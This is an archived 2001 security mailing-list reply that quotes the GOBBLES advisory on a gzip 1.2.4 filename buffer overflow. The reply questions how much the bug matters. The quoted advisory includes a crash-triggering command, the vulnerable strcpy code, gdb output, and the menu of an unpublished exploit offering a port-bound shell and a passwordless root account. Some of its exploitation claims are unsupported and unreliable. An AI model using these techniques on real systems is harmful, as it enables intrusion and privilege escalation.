Re: New bugs discovered!

From: Chris D. Sloan (cdsat_private)
Date: Sun Nov 18 2001 - 17:06:16 PST

  • Next message: c0n: "Re: New bugs discovered!"

    The gzip on my system (gzip-1.3.2) has the following at the end of the
    "gzip -h":
    
    > Report bugs to <bug-gzipat_private>.
    
    Looking at www.gzip.org, though, 1.2.4 may still be the most recent
    official (non-alpha) release, so I took a quick look and found this in
    the README for that distribution:
    
    > Please send all comments and bug reports by electronic mail to:
    >    Jean-loup Gailly <jloupat_private>
    > 
    > or, if this fails, to bug-gnu-utilsat_private
    > Bug reports should ideally include:
    > 
    >     * The complete output of "gzip -V" (or the contents of revision.h
    >       if you can't get gzip to compile)
    >     * The hardware and operating system (try "uname -a")
    >     * The compiler used to compile (if it is gcc, use "gcc -v")
    >     * A description of the bug behavior
    >     * The input to gzip, that triggered the bug
    
    (Since 1.2.4 is 8 years old, I'm guessing that bug-gzipat_private is
    probably the proper one to use, though.)
    
    As for the impact of the bug you found (which incidently did not
    reproduce on gzip-1.3.2) you should keep in mind that many programs
    like tar and ftp servers stream their data through gzip, and don't
    necessarily pass the file name to gzip directly.  If they do this,
    they should not exercise that bug.
    
    For example, I believe that when gnu tar uses gzip, these two command
    lines are more or less equivalent:
    
    	tar -zcvf foo.tgz foo
    
    	tar -cvf - foo | gzip -c > foo.tgz
    
    Using gzip as a filter is important to performance of ftp servers and
    the like, because otherwise, the program would have to wait until
    after the whole file was compressed before it could start to send it
    to the user.
    
    I also believe that zlib can be used to "gzip" files on the fly, so it
    would remove the need to fork a separate process to do so.  If that's
    correct, then I suspect that a lot of programs would just use it
    instead of gzip itself, further reducing the impact of command-line
    bugs in gzip.
    
    	Chris
    
    
    On Sun, Nov 18, 2001 at 08:03:38PM +0000, vuln-dev wrote:
    > GOBBLES security is happy to announce the discovery of multiple bugs in 
    > /bin/gzip, which can be exploited remotely with a bit of creativity.  
    > Attached is our advisory on the matter. 
    > 
    > Enjoy the knowledge and remember to use it responsible. 
    > 
    > The GOBBLES Team
    > www.bugtraq.org 
    
    > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    > ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++
    > ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT!
    > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    > 
    > Researchers from GOBBLES SECURITY have discovered many bufferoverflow
    > in /bin/gzip on our Slackware 7.1 server in GOBBLES LABS.  We could not
    > find a contact email address for the makers of /bin/gzip so instead we
    > have decided to fully disclose our findings here on the mailing lists
    > and then we hope that the makers of /bin/gzip will read this and then 
    > begin to start understanding the concepts of securely programming their
    > software so that no more systems can be comprimised by their poor 
    > coding practices.  GOBBLES thinks that experienced programmers who
    > still let their code get hacked by silly old stack overflows are very
    > sad and pathetic programmers!  But this is not the time to insult it is
    > the time to explain how one of the many bug found works and then how
    > it can be exploited locally then explain why it is a serious bug!  This
    > hole found by GOBBLES of GOBBLES SECURITY and fully disclosed on his 
    > groups website www.bugtraq.org and also fully disclosed to the mailing
    > lists on www.securityfocus.com and can be freely reproduced anywhere
    > just so long as that you do not try to claim the research of GOBBLES as
    > your own and you also may not use the information within for any evil 
    > purposes!  This is a serious matter so please do not dismiss it fast!
    > 
    > OK so here is the story on the gzip holes.  I GOBBLES first want to say
    > sorry to everyone for my having such bad English!  GOBBLES is still 
    > learning and should be not made fun of for it please!  Now anyhow about
    > the bugs here is what happened.
    > 
    > GOBBLES was sitting in his lab all alone one day wondering about 
    > different ways to break into computer networks when he started thinking
    > about new ways to hack ftp servers.  Then GOBBLES thought "HEY I KNOW
    > SOME FTP SERVERS RUN DIFFERENT PROGRAMS FROM THEY OWN DAEMON AND MAYBE
    > THERE IS WAYS TO GAIN A SHELL ACCESS FROM EXPLOITING A BUFFEROVERFLOW 
    > IN ONE OF THESE!" So the GOBBLES set out to download many sources for
    > popular FTP servers to look for the names of other programs that they 
    > used and then he found that much of them use /bin/gzip that users on
    > the ftp server might use to compress files then send them back smaller.
    > So the GOBBLES decided it was a good idea to take a look at the 
    > /bin/gzip on the lab computers to decide whether or not it was first
    > exploitable then to see if he could exploit a FTP daemon with the same
    > bug.
    > 
    > The first thing GOBBLES do is run gzip -option AAAAAAAAAA style things.  
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip -h
    > gzip 1.2.4 (18 Aug 93)
    > usage: gzip [-cdfhlLnNrtvV19] [-S suffix] [file ...]
    >  -c --stdout      write on standard output, keep original files unchanged
    >  -d --decompress  decompress
    >  -f --force       force overwrite of output file and compress links
    >  -h --help        give this help
    >  -l --list        list compressed file contents
    >  -L --license     display software license
    >  -n --no-name     do not save or restore the original name and time stamp
    >  -N --name        save or restore the original name and time stamp
    >  -q --quiet       suppress all warnings
    >  -r --recursive   operate recursively on directories
    >  -S .suf  --suffix .suf     use suffix .suf on compressed files
    >  -t --test        test compressed file integrity
    >  -v --verbose     verbose mode
    >  -V --version     display version number
    >  -1 --fast        compress faster
    >  -9 --best        compress better
    >  file...          files to (de)compress. If none given, use standard
    > input.
    > 
    > The first thing that GOBBLES try to do is just run the program with a lot
    > of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA after it to see if he can get it 
    > to segmentation fault before trying to bruteforce it with any options.  So
    > GOBBLES pick a number and do this:
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ /bin/gzip `perl -e 'print "A" x 2048'`
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAA: File name too long
    > Segmentation fault
    > 
    > hehe OK so now we know that gzip is a piece shit to segfault so now we
    > need to figure out how to make an exploit for this bug so we take a look
    > at gzip.c and we find the following:
    > 
    > ...
    > #define MAX_PATH_LEN   1024  /* max pathname length */
    > ...
    >     char     nbuf[MAX_PATH_LEN];
    > ...
    >             strcpy(nbuf,dir);
    > ...
    > 
    > appear to be the bufferoverflow part of the code for the choice.  The
    > programmer does not think that anyone will be telling gzip to run with a
    > filename longer than 1024 characters!  Well he is wrong because we are
    > going to.   
    > 
    > So now we know that the buffer that we need to overflow with must be
    > bigger than 1024 bytes but exactly how big does it need to be?  Well we
    > are running on an x86 machine so we know that we must overflow a buffer
    > with a buffer +4 bytes bigger so it is 1024 + 4 which is equal 1028.
    > 
    > So now it is time to write the GOBBLES exploit for gzip.  A little more 
    > information will be needed before we smash the gzip stack for fun and
    > profit so now we will run gdb to find it out.
    > 
    > So now we do this:
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ gdb /bin/gzip
    > GNU gdb 5.0
    > Copyright 2000 Free Software Foundation, Inc.
    > GDB is free software, covered by the GNU General Public License, and you
    > are
    > welcome to change it and/or distribute copies of it under certain
    > conditions.
    > Type "show copying" to see the conditions.
    > There is absolutely no warranty for GDB.  Type "show warranty" for
    > details.
    > This GDB was configured as "i386-slackware-linux"...
    > (no debugging symbols found)...
    > (gdb) set args `perl -e 'print "A" x 2048'`
    > (gdb) run
    > Starting program: /bin/gzip `perl -e 'print "A" x 2048'`
    > warning: Unable to find dynamic linker breakpoint function.
    > GDB will be unable to debug shared library initializers
    > and track explicitly loaded dynamic code.
    > warning: shared library handler failed to enable breakpoint
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
    > AAAAAAAAAAAAAAAAAAAAAAA: File name too long
    > 
    > Program received signal SIGSEGV, Segmentation fault.
    > 0x40071a47 in ?? ()
    > (gdb) info reg
    > eax            0x400fd998       1074780568
    > ecx            0xbfffc5cc       -1073756724
    > edx            0x41414141       1094795585
    > ebx            0x400fe9b4       1074784692
    > esp            0xbffff210       0xbffff210
    > ebp            0xbffff21c       0xbffff21c
    > esi            0x1      1
    > edi            0x41414139       1094795577
    > eip            0x40071a47       0x40071a47
    > eflags         0x10206  66054
    > cs             0x23     35
    > ss             0x2b     43
    > ds             0x2b     43
    > es             0x2b     43
    > fs             0x0      0
    > gs             0x0      0
    > fctrl          0x37f    895
    > fstat          0x0      0
    > ftag           0xffff   65535
    > fiseg          0x0      0
    > fioff          0x0      0
    > foseg          0x0      0
    > fooff          0x0      0
    > fop            0x0      0
    > (gdb) (gdb) quit
    > The program is running.  Exit anyway? (y or n) YES
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$
    > 
    > Hehe now GOBBLES have all the information that he need to write he
    > exploit!  At this time GOBBLES will not be publishing the exploit because
    > it is a little tricker than straightforward stack smashing for fun and
    > profit and he will live figuring it out to you!  Also reasons for not
    > publishing the exploit include that it could easily be modified to be
    > abused remotely against certain daemons and could damage a lot of systems
    > online.  GOBBLES will give vendors a few months to go through and to fix
    > their products before he release working exploits with more information on
    > exploiting the daemons.
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ ls -l *.c
    > -rw-------   1 GOBBLES  hackers     27164 Nov 17 21:12 bin-gzip-exploit.c
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ make bin-gzip-exploit
    > cc     bin-gzip-exploit.c   -o bin-gzip-exploit
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit
    > 
    > [* Confidential GOBBLES RESEARCH EXPLOIT *]
    > [* automatic  exploitation for /bin/gzip *]
    > [* for most operating systems.  No  crap *]
    > [* like offsets needed.  Run with a -t 0 *]
    > [* to get a list of shellcode types!     *]
    > [*                  LOVE,                *]
    > [*                  GOBBLESat_private *]
    > [*                http://www.bugtraq.org *]
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 0
    > 
    > [* Confidential GOBBLES RESEARCH EXPLOIT *]
    > [* automatic  exploitation for /bin/gzip *]
    > [* for most operating systems.  No  crap *]
    > [* like offsets needed.                  *]
    > [* -t 1: portbind shellcode to tcp 9119  *]
    > [* -t 2: execve() of /bin/bash1		 *]
    > [* -t 3: execve() of /bin/sh		 *]
    > [* -t 4: useradd GOBBLES to /etc/passwd  *]
    > [*       and to /etc/shadow with no	 *]
    > [*       password and uid(0) =)          *]
    > [*                  LOVE,                *]
    > [*                  GOBBLESat_private *]
    > [*                http://www.bugtraq.org *]
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ ./bin-gzip-exploit -t 1
    > 
    > [* Confidential GOBBLES RESEARCH EXPLOIT *]
    > [* automatic  exploitation for /bin/gzip *]
    > [* for most operating systems.  No  crap *]
    > [* like offsets needed.                  *]
    > [* 					 *]
    > [* OK now do like nc -vv localhost 9119  *]
    > [*                  LOVE,                *]
    > [*                  GOBBLESat_private *]
    > [*                http://www.bugtraq.org *]
    > 
    > GOBBLES@LABSLACK:/hacking/gzip$ nc -vv localhost 9119
    > localhost [127.0.0.1] 9119 (?) open
    > id
    > uid=1000(GOBBLES) gid=1332(hackers) groups=1332(hackers)
    > 
    > So you see it was exploited successfully on my lab computer running
    > Slackware Linux 7.1.0 =).  The reasons that GOBBLES put portbinding
    > shellcode into his first demonstration exploits is that he wanted to have
    > something started for his remote exploitations using the gzip hole.  Now
    > you ask GOBBLES "this is a stupid bug and it doesn't matter why did you
    > waste all your time writing this garbage?!?!" so here is the answer again.
    > 
    > Many different Unix services use gzip in different ways such as FTP
    > daemons who like to let users run gzip and tar on full directories so that
    > they can let the users download a single nice tarball instead of a lot of
    > unorganized files and the compression makes the transfers go faster
    > sometimes.  The idea of researching bufferoverflows in gzip was to find if
    > there were any and then to see if they can be exploited from ftp
    > servers.  This is why GOBBLES did put his portbinding shellcode into the
    > original exploit so that to reduce the amount of work he would have to
    > make later while modifiying the exploit to work against different ftp
    > servers.
    > 
    > After a few weeks of studying this hole and variations of it and
    > implementaitons of gzip on ftp servers the members of GOBBLES security
    > were able to successfully exploit many ftp servers.  At this time GOBBLES
    > and GOBBLES members are not ready to list which servers are vulnerable to
    > the bugs because they have not contacted yet the vendors and programmers
    > about the holes yet but will soon then a followup advisory will be written
    > with information on the holes on the different FTP daemons and possibly
    > after all vendors have issued patches shall we publish the exploits for
    > each of the ftp servers too.
    > 
    > GOBBLES members also suspect that maybe this bug might be used to remotely
    > gain access to webservers running Apache and mod_gzip but have not yet
    > examined this possibilty.  If it is possible then it could be a very dark
    > day for all of the internet because so many servers might be afflicted
    > with this bug.  We are doing research on this very bug right now and will
    > let the security community know that if we find anything.
    > 
    > If you can provide GOBBLES RESEARCH LABS with information on the bug being
    > present on other operating systems all of us would be very happy with you.
    > If you would like to join our group please contact GOBBLES via email at
    > GOBBLESat_private  GOBBLES SECURITY is currently looking for exploit
    > programmers and translators to help make our advisories into easier to
    > understand English for the security community.
    > 
    > This advisory written mostly by GOBBLES (GOBBLESat_private).  Please
    > visit our website at http://www.bugtraq.org for learning more about us!
    > The members of GOBBLES practice the full disclosure of information but 
    > not the full disclosure of exploits because we do not want to arm the
    > many scriptkids of the world with munitions to destroy the internet which
    > we at GOBBLES love so dearly.
    > 
    > LOVE,
    > GOBBLES
    > 
    > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    > ++++++++++++++GOBBLES+SECURITY+RESEARCH+TEAM+INCORPORATED++++++++++++++
    > ALERT! ALERT! MUCH NEW BUFFEROVERFLOW FOUND IN /BIN/GZIP! ALERT! ALERT!
    > +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
    
    
    
    -- 
    Chris Sloan
    cdsat_private
    



    This archive was generated by hypermail 2b30 : Sun Nov 18 2001 - 21:43:53 PST